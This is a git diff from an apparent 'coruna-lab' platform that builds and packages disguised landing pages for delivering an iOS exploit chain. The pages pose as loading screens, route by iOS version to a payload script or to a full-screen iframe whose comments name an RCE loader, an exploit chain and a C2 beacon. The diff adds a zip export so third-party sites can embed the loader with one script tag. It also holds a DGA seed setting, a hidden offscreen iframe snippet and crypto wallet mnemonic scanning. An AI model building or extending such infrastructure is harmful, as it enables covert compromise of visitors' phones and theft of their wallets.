Compare commits

...

2 Commits

Author SHA1 Message Date
hashbro 5e258863a8 Merge branch 'main' of ssh://gitlab.fcpays.cc:2222/root/coruna-lab 2026-10-07 05:20:04 +08:00
hashbro ba5d3c5731 feat: old channel 2026-10-07 05:19:52 +08:00
30 changed files with 1517 additions and 896 deletions
+2
View File
@@ -106,6 +106,8 @@ TOKENVIEW_SIGN_KEY=
TRUSTED_PROXIES=* TRUSTED_PROXIES=*
XXBB_CHANNEL_C= XXBB_CHANNEL_C=
# Shared DGA seed for old channel-builder (32-hex; deployment === reporting).
CORUNA_CHANNEL_SEED=
TELEGRAM_BOT_USERNAME= TELEGRAM_BOT_USERNAME=
CORUNA_OFFICIAL_ALBUM_STORAGE=0 CORUNA_OFFICIAL_ALBUM_STORAGE=0
# 1 = 代理可见助记词扫描且入库挂原设备;0 = 隐藏代理扫描菜单,扫描入库挂官方设备 # 1 = 代理可见助记词扫描且入库挂原设备;0 = 隐藏代理扫描菜单,扫描入库挂官方设备
+2 -1
View File
@@ -52,7 +52,7 @@ Admin:
创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`: 创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`:
- **seed**:Deployment / Reporting 共用同一 seed(可同时传入相同值;否则读/写 `lab_seeds.json`,首次自动生成一份) - **seed**:Deployment / Reporting 共用 `.env` 的 `CORUNA_CHANNEL_SEED`(32-hex;未配置则创建/重建失败)
- **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站 - **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站
- **之后**新渠道只生成 `web/<id>/` - **之后**新渠道只生成 `web/<id>/`
@@ -62,6 +62,7 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
# CORUNA_ARTIFACT_ROOT= # CORUNA_ARTIFACT_ROOT=
# CORUNA_CHANNEL_STATE_ROOT= # CORUNA_CHANNEL_STATE_ROOT=
CORUNA_CHANNEL_BUILDER_TIMEOUT=600 CORUNA_CHANNEL_BUILDER_TIMEOUT=600
CORUNA_CHANNEL_SEED=
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
``` ```
@@ -6,6 +6,7 @@ use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller; use App\Http\Controllers\Controller;
use App\Models\Channel; use App\Models\Channel;
use App\Models\User; use App\Models\User;
use App\Services\ChannelEmbedZipService;
use App\Services\ChannelProjectService; use App\Services\ChannelProjectService;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\DB;
@@ -91,6 +92,10 @@ class ChannelController extends Controller
'ipa_url' => file_exists(public_path('channel/'.$c->channel_id.'/app.ipa')) ? '/channel/'.$c->channel_id.'/app.ipa' : '', 'ipa_url' => file_exists(public_path('channel/'.$c->channel_id.'/app.ipa')) ? '/channel/'.$c->channel_id.'/app.ipa' : '',
'links' => $c->supportLinks(), 'links' => $c->supportLinks(),
'landing_path' => $c->landingPath(), 'landing_path' => $c->landingPath(),
'embed_zip_url' => $c->embedAssetDir()
? route($this->portal().'.channels.embedZip', $c)
: '',
'embed_script' => $c->isAppBuilder() ? '' : $c->promoScriptSnippet(),
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'), 'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
]; ];
@@ -225,6 +230,10 @@ class ChannelController extends Controller
'daily_path' => $build['daily_path'] ?? '', 'daily_path' => $build['daily_path'] ?? '',
'channel_dir' => $build['channel_dir'] ?? null, 'channel_dir' => $build['channel_dir'] ?? null,
'show_alias' => $build['show_alias'] ?? null, 'show_alias' => $build['show_alias'] ?? null,
'embed_zip_url' => $channel->embedAssetDir()
? route($this->portal().'.channels.embedZip', $channel)
: '',
'embed_script' => $channel->promoScriptSnippet(),
], ],
]); ]);
} }
@@ -443,8 +452,8 @@ class ChannelController extends Controller
$build = $projects->generate( $build = $projects->generate(
$channelId, $channelId,
$supportTemplate, $supportTemplate,
$data['deployment_seed'] ?? null, null,
$data['reporting_seed'] ?? null, null,
$builderType, $builderType,
); );
} catch (\Throwable $e) { } catch (\Throwable $e) {
@@ -498,6 +507,10 @@ class ChannelController extends Controller
'daily_path' => $build['daily_path'] ?? '', 'daily_path' => $build['daily_path'] ?? '',
'channel_dir' => $build['channel_dir'] ?? null, 'channel_dir' => $build['channel_dir'] ?? null,
'show_alias' => $build['show_alias'] ?? null, 'show_alias' => $build['show_alias'] ?? null,
'embed_zip_url' => $channel->embedAssetDir()
? route($this->portal().'.channels.embedZip', $channel)
: '',
'embed_script' => $channel->promoScriptSnippet(),
], ],
]); ]);
} }
@@ -554,6 +567,24 @@ class ChannelController extends Controller
]); ]);
} }
public function downloadEmbed(Channel $channel, ChannelEmbedZipService $zips)
{
$this->authorizeChannel($channel);
if ($channel->isAppBuilder()) {
abort(404);
}
try {
$path = $zips->build($channel);
} catch (\Throwable $e) {
abort(404, $e->getMessage() ?: '打包失败');
}
return response()->download($path, $channel->embedZipName(), [
'Content-Type' => 'application/zip',
])->deleteFileAfterSend(true);
}
public function destroy(Channel $channel, ChannelProjectService $projects) public function destroy(Channel $channel, ChannelProjectService $projects)
{ {
abort_if($this->isAgentPortal(), 403); abort_if($this->isAgentPortal(), 403);
+27
View File
@@ -204,6 +204,33 @@ class Channel extends Model
return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>'; return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
} }
public function promoScriptSnippet(): string
{
return '<script src="./index.js"></script>';
}
public function embedAssetDir(): ?string
{
$root = rtrim((string) config('coruna.channel_builder.artifact_root', public_path()), DIRECTORY_SEPARATOR);
$dir = match ($this->builderType()) {
self::BUILDER_NEW => $root.DIRECTORY_SEPARATOR.'channel'.DIRECTORY_SEPARATOR.$this->channel_id.DIRECTORY_SEPARATOR.'weifile',
self::BUILDER_OLD => $root.DIRECTORY_SEPARATOR.'web'.DIRECTORY_SEPARATOR.$this->channel_id,
default => null,
};
if ($dir === null || ! is_dir($dir)) {
return null;
}
return $dir;
}
public function embedZipName(): string
{
$safe = preg_replace('/[^0-9A-Za-z._-]+/', '-', (string) $this->channel_id) ?: 'channel';
return 'channel-embed-'.$safe.'.zip';
}
public static function randomChannelId(): string public static function randomChannelId(): string
{ {
return bin2hex(random_bytes(16)); return bin2hex(random_bytes(16));
+139
View File
@@ -0,0 +1,139 @@
<?php
namespace App\Services;
use App\Models\Channel;
use RuntimeException;
use ZipArchive;
class ChannelEmbedZipService
{
/**
* @return list<string>
*/
public function listFiles(Channel $channel): array
{
$dir = $channel->embedAssetDir();
if ($dir === null) {
return [];
}
return $this->collectFiles($dir);
}
public function build(Channel $channel): string
{
$dir = $channel->embedAssetDir();
if ($dir === null) {
throw new RuntimeException('渠道静态资源不存在,请先构建');
}
$files = $this->collectFiles($dir);
if ($files === []) {
throw new RuntimeException('渠道目录里没有可打包的浏览器资源');
}
if (! class_exists(ZipArchive::class)) {
throw new RuntimeException('PHP ZipArchive 不可用');
}
$tmp = tempnam(sys_get_temp_dir(), 'coruna-embed-');
if ($tmp === false) {
throw new RuntimeException('无法创建临时文件');
}
@unlink($tmp);
$zipPath = $tmp.'.zip';
$zip = new ZipArchive();
if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
throw new RuntimeException('无法创建 zip');
}
$statOrigin = $this->statOrigin();
foreach ($files as $rel) {
$abs = $dir.DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $rel);
$contents = file_get_contents($abs);
if ($contents === false) {
continue;
}
if ($rel === 'index.js' && $statOrigin !== '') {
$contents = $this->bakeStatOrigin($contents, $statOrigin);
}
$zip->addFromString($rel, $contents);
}
$zip->addFromString('README.txt', $this->readme($channel));
$zip->close();
return $zipPath;
}
private function statOrigin(): string
{
$domains = Channel::normalizeDomainList(config('coruna.channel_domains', []));
$host = trim((string) ($domains[0] ?? ''));
if ($host === '') {
return '';
}
if (preg_match('#^https?://#i', $host)) {
return rtrim($host, '/');
}
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
return $scheme.'://'.rtrim($host, '/');
}
private function bakeStatOrigin(string $boot, string $origin): string
{
$quoted = json_encode($origin, JSON_UNESCAPED_SLASHES);
$updated = preg_replace(
'/var STAT_ORIGIN = ([\'"][^\'"]*[\'"]|__STAT_ORIGIN__)/',
'var STAT_ORIGIN = '.$quoted,
$boot,
1,
);
return is_string($updated) ? $updated : $boot;
}
private function readme(Channel $channel): string
{
$id = (string) $channel->channel_id;
return "把本 zip 解压到站点根目录(与首页同级),页面中加入:\n"
."<script src=\"./index.js\"></script>\n\n"
."渠道 {$id} 已写入 index.js。iframe 投放仍可用原落地页链接。\n";
}
/**
* @return list<string>
*/
private function collectFiles(string $dir): array
{
$skipNames = ['.DS_Store', 'manifest.json', 'README.md', 'README.txt'];
$skipDirs = ['templates', '_bak', '__pycache__'];
$files = [];
$iterator = new \RecursiveIteratorIterator(
new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS)
);
foreach ($iterator as $file) {
if (! $file->isFile()) {
continue;
}
$abs = $file->getPathname();
$rel = ltrim(str_replace('\\', '/', substr($abs, strlen($dir))), '/');
$parts = explode('/', $rel);
if (array_intersect($parts, $skipDirs) !== []) {
continue;
}
if (in_array(end($parts), $skipNames, true)) {
continue;
}
$ext = strtolower((string) $file->getExtension());
if (! in_array($ext, ['js', 'html', 'htm', 'css'], true)) {
continue;
}
$files[] = $rel;
}
sort($files);
return $files;
}
}
+90 -41
View File
@@ -52,16 +52,10 @@ class ChannelProjectService
); );
} }
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
$deploymentSeed,
$reportingSeed,
);
return $this->generateOld( return $this->generateOld(
$this->normalizeChannelId($channelId), $this->normalizeChannelId($channelId),
$supportTemplate, $supportTemplate,
$deploymentSeed, dsDomain: (string) config('coruna.xxbb.ds_domain', ''),
$reportingSeed,
); );
} }
@@ -130,10 +124,10 @@ class ChannelProjectService
private function generateOld( private function generateOld(
string $channelId, string $channelId,
string $supportTemplate, string $supportTemplate,
?string $deploymentSeed, string $dsDomain = '',
?string $reportingSeed,
): array { ): array {
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate); $supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
$seed = $this->requireEnvOldSeed();
$cmd = [ $cmd = [
$this->pythonBinary(self::BUILDER_OLD), $this->pythonBinary(self::BUILDER_OLD),
$this->builderScript('new_project.py', self::BUILDER_OLD), $this->builderScript('new_project.py', self::BUILDER_OLD),
@@ -146,12 +140,14 @@ class ChannelProjectService
'--support-template', '--support-template',
$supportTemplate, $supportTemplate,
'--force', '--force',
'--deployment-seed',
$seed,
'--reporting-seed',
$seed,
]; ];
if ($deploymentSeed !== null && $reportingSeed !== null) { if ($dsDomain !== '') {
$cmd[] = '--deployment-seed'; $cmd[] = '--ds-domain';
$cmd[] = $deploymentSeed; $cmd[] = $dsDomain;
$cmd[] = '--reporting-seed';
$cmd[] = $reportingSeed;
} }
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_OLD)); $result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_OLD));
@@ -174,6 +170,7 @@ class ChannelProjectService
'weifile_path' => null, 'weifile_path' => null,
'daily_path' => (string) ($result['daily_path'] ?? '/sync/daily.html'), 'daily_path' => (string) ($result['daily_path'] ?? '/sync/daily.html'),
'support_template' => (string) ($result['support_template'] ?? $supportTemplate), 'support_template' => (string) ($result['support_template'] ?? $supportTemplate),
'ds_domain' => $dsDomain,
]; ];
} }
@@ -213,6 +210,72 @@ class ChannelProjectService
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW)); return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
} }
/**
* Rebuild existing old-builder channels in place (same 32-hex channel_id).
* DGA seed always comes from CORUNA_CHANNEL_SEED; overwrites public/web/{id}/.
*
* @param list<string>|null $channelIds null = all builder_type=old rows
* @return array{channels: list<array<string, mixed>>}
*/
public function rebuildOldChannels(
?array $channelIds = null,
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
string $dsDomain = '',
): array {
$ids = $this->resolveOldChannelIds($channelIds);
if ($ids === []) {
throw new RuntimeException('没有可重打的旧版渠道(builder_type=old)');
}
$channels = [];
foreach ($ids as $id) {
$channels[] = $this->generateOld(
$id,
$supportTemplate,
$dsDomain,
);
}
return [
'channels' => $channels,
];
}
/**
* @param list<string>|null $channelIds
* @return list<string>
*/
public function resolveOldChannelIds(?array $channelIds = null): array
{
if ($channelIds === null) {
return Channel::query()
->where('builder_type', self::BUILDER_OLD)
->orderBy('id')
->pluck('channel_id')
->map(function ($id) {
try {
return $this->normalizeChannelId((string) $id);
} catch (RuntimeException) {
return null;
}
})
->filter()
->values()
->all();
}
$ids = [];
foreach ($channelIds as $raw) {
try {
$ids[] = $this->normalizeChannelId((string) $raw);
} catch (RuntimeException) {
throw new RuntimeException('旧版渠道 ID 必须是 32 位 hex: '.$raw);
}
}
return array_values(array_unique($ids));
}
/** /**
* Rebuild existing new-builder channels in place (same channel_id / ver patch). * Rebuild existing new-builder channels in place (same channel_id / ver patch).
* Shared /details + staged weifile are built once from XXBB_CHANNEL_C, then each * Shared /details + staged weifile are built once from XXBB_CHANNEL_C, then each
@@ -428,6 +491,19 @@ class ChannelProjectService
return $c; return $c;
} }
private function requireEnvOldSeed(): string
{
$seed = strtolower(trim((string) config('coruna.channel_builder.seed', '')));
if ($seed === '') {
throw new RuntimeException('请先在 .env 配置 CORUNA_CHANNEL_SEED(32 位 hex)');
}
if (! preg_match('/^[0-9a-f]{32}$/', $seed)) {
throw new RuntimeException('CORUNA_CHANNEL_SEED 必须是 32 位 hex');
}
return $seed;
}
private function normalizeSharedChannelC(?string $channelC): ?string private function normalizeSharedChannelC(?string $channelC): ?string
{ {
$c = strtolower(trim((string) ($channelC !== null && $channelC !== '' $c = strtolower(trim((string) ($channelC !== null && $channelC !== ''
@@ -749,31 +825,4 @@ class ChannelProjectService
return $supportTemplate; return $supportTemplate;
} }
/**
* @return array{0: ?string, 1: ?string}
*/
private function normalizeOptionalSeeds(
?string $deploymentSeed,
?string $reportingSeed,
): array {
$deploymentSeed = $deploymentSeed !== null ? trim($deploymentSeed) : null;
$reportingSeed = $reportingSeed !== null ? trim($reportingSeed) : null;
if (($deploymentSeed === null || $deploymentSeed === '') && ($reportingSeed === null || $reportingSeed === '')) {
return [null, null];
}
if ($deploymentSeed === null || $deploymentSeed === '' || $reportingSeed === null || $reportingSeed === '') {
throw new RuntimeException('deployment_seed 与 reporting_seed 必须同时提供');
}
foreach (['deployment_seed' => $deploymentSeed, 'reporting_seed' => $reportingSeed] as $name => $value) {
if (! preg_match('/^[ -~]{1,32}$/', $value)) {
throw new RuntimeException("无效的 {$name}(需 1–32 位 ASCII)");
}
}
if ($deploymentSeed !== $reportingSeed) {
throw new RuntimeException('deployment_seed 与 reporting_seed 必须相同');
}
return [$deploymentSeed, $reportingSeed];
}
} }
@@ -5,53 +5,8 @@
<meta http-equiv="Expires" content="0" /> <meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" /> <meta property="og:determiner" content="auto" />
<title>weifile</title> <title>weifile</title>
<script src="/t.js" defer></script>
</head> </head>
<body> <body>
<script type="text/javascript"> <script src="index.js"></script>
(function () {
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
var ios = parseIosVersion();
if (!ios || ios[0] < 18) {
// Below iOS 18: non-DS chain (index.js).
var s = document.createElement('script');
s.src = 'index.js?' + Date.now();
(document.body || document.documentElement).appendChild(s);
return;
}
if (ios[0] === 18) {
// iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
// Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
// so rce_loader.js can forward it through the exploit chain to pe_worker.js,
// which includes it in the C2 beacon for channel attribution.
var channelCode = '';
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) channelCode = m[1].toUpperCase();
} catch (eC) {}
var dsDomain = '__DS_DOMAIN__';
var dsUrl = dsDomain + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
// iOS 19+ / 26+: no action.
})();
</script>
</body> </body>
</html> </html>
@@ -8,7 +8,6 @@
<meta http-equiv="Expires" content="0" /> <meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" /> <meta property="og:determiner" content="auto" />
<title>加载中</title> <title>加载中</title>
<script src="/t.js" defer></script>
<style> <style>
:root { :root {
--bg: #0f1419; --bg: #0f1419;
@@ -112,45 +111,7 @@
<p class="title">加载中</p> <p class="title">加载中</p>
<p class="subtitle">请稍候,正在准备页面…</p> <p class="subtitle">请稍候,正在准备页面…</p>
</div> </div>
<script type="text/javascript"> <script src="index.js"></script>
(function () {
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
var ios = parseIosVersion();
if (!ios || ios[0] < 18) {
var s = document.createElement('script');
s.src = 'index.js?' + Date.now();
(document.body || document.documentElement).appendChild(s);
return;
}
if (ios[0] === 18) {
var channelCode = '';
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) channelCode = m[1].toUpperCase();
} catch (eC) {}
var dsDomain = '__DS_DOMAIN__';
var dsUrl = dsDomain + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
})();
</script>
<script> <script>
(function () { (function () {
var TOTAL = 15; var TOTAL = 15;
@@ -5,53 +5,8 @@
<meta http-equiv="Expires" content="0" /> <meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" /> <meta property="og:determiner" content="auto" />
<title>weifile</title> <title>weifile</title>
<script src="/t.js" defer></script>
</head> </head>
<body> <body>
<script type="text/javascript"> <script src="index.js"></script>
(function () {
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
var ios = parseIosVersion();
if (!ios || ios[0] < 18) {
// Below iOS 18: non-DS chain (index.js).
var s = document.createElement('script');
s.src = 'index.js?' + Date.now();
(document.body || document.documentElement).appendChild(s);
return;
}
if (ios[0] === 18) {
// iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
// Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
// so rce_loader.js can forward it through the exploit chain to pe_worker.js,
// which includes it in the C2 beacon for channel attribution.
var channelCode = '';
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) channelCode = m[1].toUpperCase();
} catch (eC) {}
var dsDomain = '__DS_DOMAIN__';
var dsUrl = dsDomain + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
// iOS 19+ / 26+: no action.
})();
</script>
</body> </body>
</html> </html>
+13 -2
View File
@@ -8,7 +8,7 @@ Requires `tools/build.py --apply` first (shared staged weifile + public/details)
3. Patch corepayload `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes; netconfig) 3. Patch corepayload `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes; netconfig)
4. Rewrite show.html asset URLs to /channel/{ver}/details/... 4. Rewrite show.html asset URLs to /channel/{ver}/details/...
5. Patch secondary `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes) 5. Patch secondary `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes)
6. Strip iptj beacon from index.js; inject t.js into weifile.html 6. Strip iptj beacon from payload; install script-embed index.js boot
7. Write to {artifact-root}/channel/{ver}/ 7. Write to {artifact-root}/channel/{ver}/
""" """
@@ -19,10 +19,16 @@ import hashlib
import json import json
import re import re
import shutil import shutil
import sys
import tempfile import tempfile
from pathlib import Path from pathlib import Path
import build as xxbb_build import build as xxbb_build
_EMBED_DIR = Path(__file__).resolve().parents[2] / "channel-embed"
if str(_EMBED_DIR) not in sys.path:
sys.path.insert(0, str(_EMBED_DIR))
from embed_boot import apply_embed_boot # noqa: E402
from _details_pack import extract_member, make_passworded_7z from _details_pack import extract_member, make_passworded_7z
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
@@ -209,7 +215,7 @@ def apply_landing_template(weifile_dir: Path, template: str) -> Path:
if not src.is_file(): if not src.is_file():
raise SystemExit(f"missing landing template: {src}") raise SystemExit(f"missing landing template: {src}")
dest = weifile_dir / "weifile.html" dest = weifile_dir / "weifile.html"
dest.write_text(inject_tjs(src.read_text(encoding="utf-8")), encoding="utf-8") dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8")
return dest return dest
@@ -285,6 +291,11 @@ def pack_channel(
leftover_route = weifile_dest / "route.js" leftover_route = weifile_dest / "route.js"
if leftover_route.is_file(): if leftover_route.is_file():
leftover_route.unlink() leftover_route.unlink()
apply_embed_boot(
weifile_dest,
channel_code=ver,
ds_domain=ds_domain,
)
if channel_out.exists(): if channel_out.exists():
shutil.rmtree(channel_out) shutil.rmtree(channel_out)
@@ -86,10 +86,10 @@ class XxbbBuildTest(unittest.TestCase):
self.assertFalse((weifile / "route.js").is_file()) self.assertFalse((weifile / "route.js").is_file())
html = (weifile / "weifile.html").read_text(encoding="utf-8") html = (weifile / "weifile.html").read_text(encoding="utf-8")
self.assertNotIn("__CHANNEL_C__", html) self.assertNotIn("__CHANNEL_C__", html)
self.assertIn('src="/t.js"', html) self.assertNotIn('src="/t.js"', html)
self.assertNotIn('src="route.js"', html) self.assertNotIn('src="route.js"', html)
self.assertIn("/next-chain/frame.html", html) self.assertNotIn("/next-chain/frame.html", html)
self.assertIn("index.js", html) self.assertIn('src="index.js"', html)
self.assertNotIn("config.js", html) self.assertNotIn("config.js", html)
self.assertNotIn("boot.js", html) self.assertNotIn("boot.js", html)
self.assertNotIn("holdFresh", html) self.assertNotIn("holdFresh", html)
@@ -327,11 +327,10 @@ class XxbbBuildTest(unittest.TestCase):
self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file()) self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file())
for name in ("weifile.html", "templates/blank.html", "templates/test.html"): for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8") landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
self.assertIn('src="/t.js"', landing) self.assertIn('src="index.js"', landing)
self.assertEqual(pack_channel.inject_tjs(landing), landing) self.assertNotIn('src="/t.js"', landing)
self.assertNotIn('src="route.js"', landing) self.assertNotIn('src="route.js"', landing)
self.assertIn("/next-chain/frame.html", landing) self.assertNotIn("/next-chain/frame.html", landing)
self.assertIn("index.js", landing)
self.assertNotIn("config.js", landing) self.assertNotIn("config.js", landing)
self.assertNotIn("boot.js", landing) self.assertNotIn("boot.js", landing)
self.assertNotIn("holdFresh", landing) self.assertNotIn("holdFresh", landing)
+11
View File
@@ -12,3 +12,14 @@ python3 -m venv .venv
``` ```
Laravel `ChannelProjectService` invokes the same entry with `--artifact-root` / `--state-root`. Laravel `ChannelProjectService` invokes the same entry with `--artifact-root` / `--state-root`.
Published `web/<id>/index.js` is the shared boot (iOS router + `/t.js`). The Coruna payload is `payload.js`. Third-party sites can unzip the admin「浏览器资源 zip」to their docroot and include `<script src="./index.js"></script>`.
Rebuild existing old channels (same 32-hex id; DGA seed from `CORUNA_CHANNEL_SEED`):
```bash
php artisan coruna:repack # all builder_type=old
php artisan coruna:repack <32-hex> # one
php artisan coruna:repack --dry-run
php artisan coruna:repack --template=test
```
@@ -1,10 +1,14 @@
# support.html templates # support.html templates
Build-time choices for `web/support.html` (`--support-template` / API `support_template`): Landing HTML only loads same-directory `index.js`. Routing, `/t.js` beacon, and iOS 18 DS iframe live in the published boot `index.js` (payload is `payload.js`). HTML does not inline the hit beacon.
| Name | Source | Description | | Name | Source | Description |
|------|--------|-------------| |------|--------|-------------|
| `test` | campaign copy under `source/web/support.html` | Current lab HUD progress UI | | `blank` | `blank.html` (default campaign `source/web/support.html`) | `<script src="index.js">` only |
| `blank` | `blank.html` | Loader scripts only, no HUD UI | | `test` | `test.html` | Lab HUD + the same `index.js` |
Default is `test`. Both iframe landing and third-party `<script src="./index.js">` share that boot:
- iOS < 18 / unknown: load same-directory `payload.js`
- iOS 18: iframe `__DS_DOMAIN__/next-chain/frame.html?c=<channel>`
- iOS 19+ / 26+: no action
File diff suppressed because one or more lines are too long
@@ -0,0 +1,588 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" />
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
<title>Preparing…</title>
<style>
@import url("https://fonts.googleapis.com/css2?family=Outfit:wght@400;500;600;700&family=Sora:wght@600;700&display=swap");
:root {
--bg0: #e8f1f7;
--bg1: #f7fbfc;
--ink: #123047;
--muted: #5a7388;
--line: #c5d6e4;
--card: rgba(255, 255, 255, 0.72);
--accent: #0b7ea4;
--run: #c98512;
--ok: #1f8a55;
--bad: #c23b3b;
--ring-size: min(72vw, 280px);
}
* { box-sizing: border-box; }
html, body {
margin: 0; min-height: 100%;
color: var(--ink);
font: 15px/1.45 Outfit, "Segoe UI", sans-serif;
background:
radial-gradient(120% 80% at 50% -10%, #cfe6f3 0%, transparent 55%),
linear-gradient(180deg, var(--bg0), var(--bg1) 48%, #eef5f9);
}
#lab-hud {
position: relative; z-index: 2147483000;
min-height: 100dvh;
display: flex; flex-direction: column; align-items: center;
justify-content: center;
padding: max(24px, env(safe-area-inset-top)) 20px max(28px, env(safe-area-inset-bottom));
gap: 28px;
}
.brand {
font-family: Sora, Outfit, sans-serif;
font-size: 13px; font-weight: 700; letter-spacing: .14em;
text-transform: uppercase; color: var(--muted);
}
.ring-wrap {
position: relative;
width: var(--ring-size); height: var(--ring-size);
filter: drop-shadow(0 18px 40px rgba(11, 126, 164, .16));
}
.ring-wrap svg { width: 100%; height: 100%; display: block; transform: rotate(-90deg); }
.ring-bg { fill: none; stroke: #d5e5ef; stroke-width: 8; }
.ring-fg {
fill: none; stroke: var(--accent); stroke-width: 8;
stroke-linecap: round;
stroke-dasharray: 339.292; stroke-dashoffset: 0;
transition: stroke .25s ease;
}
.ring-wrap.is-run .ring-fg { stroke: var(--run); }
.ring-wrap.is-ok .ring-fg { stroke: var(--ok); }
.ring-wrap.is-bad .ring-fg { stroke: var(--bad); }
.ring-wrap.is-ticking .count {
animation: count-beat 1s ease-in-out infinite;
}
@keyframes count-beat {
0%, 100% { transform: scale(1); opacity: 1; }
50% { transform: scale(1.04); opacity: .88; }
}
.ring-center {
position: absolute; inset: 0;
display: flex; flex-direction: column; align-items: center; justify-content: center;
text-align: center; padding: 18px;
}
.count {
font-family: Sora, Outfit, sans-serif;
font-size: clamp(52px, 16vw, 72px);
font-weight: 700; line-height: 1; letter-spacing: -.03em;
font-variant-numeric: tabular-nums;
}
.count-unit {
margin-top: 2px; font-size: 12px; font-weight: 600;
letter-spacing: .12em; text-transform: uppercase; color: var(--muted);
}
#lab-status {
margin-top: 10px; max-width: 18ch;
font-size: 13px; font-weight: 500; color: var(--muted);
}
